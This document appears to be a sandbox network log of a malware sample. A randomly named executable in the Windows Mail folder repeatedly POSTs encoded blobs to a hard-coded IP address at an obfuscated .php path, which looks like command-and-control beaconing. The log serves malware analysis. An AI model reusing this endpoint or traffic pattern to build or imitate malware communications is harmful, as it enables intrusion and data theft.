Jan 9, 2025 04:12:08.874296904 CET	1048	OUT	Data Raw: 5a 52 59 5e 5f 5e 58 5f 55 56 55 5a 56 5f 55 5d 56 56 5a 5e 55 51 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZRY^_^X_UVUZV_U]VVZ^UQSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&^$:0"(>'!"+$#;(861!V+#[&/?7,_?/ \%#Y)
Jan 9, 2025 04:12:09.099127054 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:08.760488987 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1760 Expect: 100-continue
Jan 9, 2025 04:12:09.106985092 CET	1760	OUT	Data Raw: 5f 55 59 5b 5f 5e 58 5e 55 56 55 5a 56 5b 55 56 56 56 5a 5c 55 54 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UY[_^X^UVUZV[UVVVZ\UTSZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&'9$ =]$9)=<4%0=&-P<38%3'^? \%#Y)(
Jan 9, 2025 04:12:09.453919888 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:09.584614992 CET	324	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 12 22 07 00 10 3f 31 28 07 28 12 23 13 28 1f 23 01 2b 20 2d 5e 3d 3a 39 00 29 13 38 08 28 5d 2a 18 24 32 3a 1e 37 00 00 1e 23 20 2e 59 0c 1d 39 5c 29 3b 22 51 32 23 27 5d 3d 30 31 01 35 31 06 07 30 3e 29 0a 24 2b 3b 0b 3e 22 30 1d 2a 31 0d 1a 2e 5e 22 1e 24 23 0c 51 25 2e 21 5e 02 14 23 5d 28 3d 09 1f 3e 0e 37 59 31 1c 2e 52 20 2d 36 50 21 06 3f 50 22 16 39 05 3e 31 3e 12 20 31 38 58 30 33 00 1a 37 32 21 57 2b 33 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #"?1((#(#+ -^=:9)8(]$2:7# .Y9\);"Q2#']=01510>)$+;>"01.^"$#Q%.!^#](=>7Y1.R -6P!?P"9>1> 18X0372!W+3/\++I1UV
Jan 9, 2025 04:12:09.660954952 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:09.874926090 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:09.875093937 CET	1048	OUT	Data Raw: 5a 54 59 5e 5f 5a 58 51 55 56 55 5a 56 5b 55 57 56 50 5a 5e 55 5c 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZTY^_ZXQUVUZV[UWVPZ^U\SVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&[%:/ ;:312(-+Z#6/](;%&*-W<3$1?#)7$[< \%#Y)(
Jan 9, 2025 04:12:10.093835115 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:10.265770912 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:10.622083902 CET	1048	OUT	Data Raw: 5f 57 59 51 5f 5b 5d 5d 55 56 55 5a 56 5e 55 51 56 50 5a 5c 55 51 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _WYQ_[]]UVUZV^UQVPZ\UQSYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&]39 0&[<.+X#C;8=29P+^$,8Y70_+ \%#Y)<
Jan 9, 2025 04:12:10.962954044 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:11.101396084 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:11.332812071 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:11.684586048 CET	1048	OUT	Data Raw: 5f 57 59 5a 5f 5e 5d 5b 55 56 55 5a 56 5e 55 5d 56 54 5a 5a 55 57 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _WYZ_^][UVUZV^U]VTZZUWS\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&'/Z -&!"?7Y7>629#;Y&/X=0[?/ \%#Y)<
Jan 9, 2025 04:12:12.031838894 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:12.164664984 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:13.069086075 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:13.418982029 CET	1048	OUT	Data Raw: 5a 56 59 50 5f 58 58 5f 55 56 55 5a 56 5b 55 51 56 51 5a 52 55 54 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZVYP_XX_UVUZV[UQVQZRUTSYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%39#;%_$!&?3Y#%'*2><001<8X>Q<^+ \%#Y)(
Jan 9, 2025 04:12:13.761442900 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:13.958256960 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU
Jan 9, 2025 04:12:13.958275080 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:14.627882957 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1760 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:14.981462955 CET	1760	OUT	Data Raw: 5a 51 59 5d 5a 5b 5d 5a 55 56 55 5a 56 5d 55 57 56 5d 5a 5e 55 51 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQY]Z[]ZUVUZV]UWV]Z^UQS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0),"+32)?+[ %'=8)%9.? <&<3=7/?/ \%#Y)0
Jan 9, 2025 04:12:15.305710077 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:15.437514067 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 20 04 35 5f 3a 11 2b 0c 2c 01 2b 2f 37 55 3f 31 2f 01 2b 33 2a 02 3d 39 22 11 2b 2e 27 13 3c 15 35 04 27 22 2a 55 23 3e 2e 59 21 20 2e 59 0c 1d 3a 05 2a 3b 26 51 25 0d 0a 03 28 23 3a 58 21 0f 28 06 27 3e 04 57 30 5e 27 0c 3c 1c 30 56 3e 32 3c 0b 39 06 25 42 24 1d 32 57 25 2e 21 5e 02 14 23 58 3d 2d 06 0c 3e 37 23 5f 26 22 03 0e 34 5b 25 0c 22 28 27 50 22 28 2d 04 2b 21 26 58 20 08 24 12 27 30 21 0a 37 0f 31 1d 2a 09 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: 5_:+,+/7U?1/+3=9"+.'<5'"U#>.Y! .Y:;&Q%(#:X!('>W0^'<0V>2<9%B$2W%.!^#X=->7#_&"4[%"('P"(-+!&X $'0!71/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:18.306689024 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:18.653373957 CET	1048	OUT	Data Raw: 5a 56 59 5a 5f 5a 58 58 55 56 55 5a 56 5a 55 52 56 52 5a 5b 55 51 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZVYZ_ZXXUVUZVZURVRZ[UQSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&['*/Z"+1^'2Y<=77#)+5[1&(0;^%<0=Q/+ \%#Y),
Jan 9, 2025 04:12:19.018223047 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:19.149487019 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:19.496148109 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:19.841090918 CET	1048	OUT	Data Raw: 5f 56 5c 5a 5f 59 58 5e 55 56 55 5a 56 51 55 5c 56 55 5a 58 55 56 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _V\Z_YX^UVUZVQU\VUZXUVSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0)34;20T2]("%=]')%Q?#;Y1<0\>,^+/ \%#Y)
Jan 9, 2025 04:12:20.083512068 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:20.213495970 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:20.433672905 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:20.778449059 CET	1048	OUT	Data Raw: 5a 5a 5c 5b 5f 5f 58 59 55 56 55 5a 56 51 55 52 56 54 5a 59 55 50 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZZ\[__XYUVUZVQURVTZYUPS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&\%9X"+$:Z+>/\7$>92:9V*3[1,8=$$^?? \%#Y)
Jan 9, 2025 04:12:21.129836082 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:21.261413097 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:20.455913067 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1760 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:20.810765028 CET	1760	OUT	Data Raw: 5a 56 59 5e 5a 5e 58 5e 55 56 55 5a 56 5b 55 55 56 5c 5a 5d 55 52 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZVY^Z^X^UVUZV[UUV\Z]URS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&Z$<#-$.Z)>X4&$>=2%S?3/&,3)^+? \%#Y)(
Jan 9, 2025 04:12:21.166315079 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:21.412786961 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:21.762804031 CET	1048	OUT	Data Raw: 5a 50 5c 59 5f 5a 58 58 55 56 55 5a 56 50 55 56 56 53 5a 5a 55 51 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZP\Y_ZXXUVUZVPUVVSZZUQS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&[30#8=$!2\??#&0=*&?3[%,0>(/ \%#Y)
Jan 9, 2025 04:12:22.107428074 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:22.238374949 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:22.405718088 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:22.762742043 CET	1048	OUT	Data Raw: 5f 50 5c 5c 5a 58 58 5b 55 56 55 5a 56 5b 55 52 56 5d 5a 5a 55 55 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _P\\ZXX[UVUZV[URV]ZZUUSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&3(7+&3+./\#3*-1_%(#+^$/]>7;< \%#Y)(
Jan 9, 2025 04:12:23.092768908 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:23.223381996 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:23.362193108 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1044 Expect: 100-continue
